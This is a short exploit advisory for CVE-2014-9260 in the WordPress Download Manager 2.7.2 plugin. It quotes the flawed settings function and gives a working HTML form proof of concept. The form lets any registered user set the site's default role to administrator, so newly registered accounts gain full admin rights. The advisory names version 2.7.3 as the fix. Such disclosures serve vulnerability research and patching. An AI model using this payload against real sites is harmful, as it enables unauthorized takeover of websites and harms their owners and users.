# Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation # Date: 24-11-2014 # Software Link: https://wordpress.org/plugins/download-manager/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps # CVE: CVE-2014-9260 1. Description Every registered user can update every WordPress options using basic_settings() function. function basic_settings() { if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') { foreach ($_POST as $optn => $optv) { update_option($optn, $optv); } if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form'); die('Settings Saved Successfully'); } include('settings/basic.php'); } http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html 2. Proof of Concept Login as standard user (created using wp-login.php?action=register) then: <form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings"> <input type="hidden" name="task" value="wdm_save_settings"> <input type="hidden" name="section" value="basic"> <input type="hidden" name="default_role" value="administrator"> <input type="submit" value="Hack!"> </form> After that create new user using wp-login.php?action=register. Newly created user will have admin privileges. 3. Solution: Update to version 2.7.3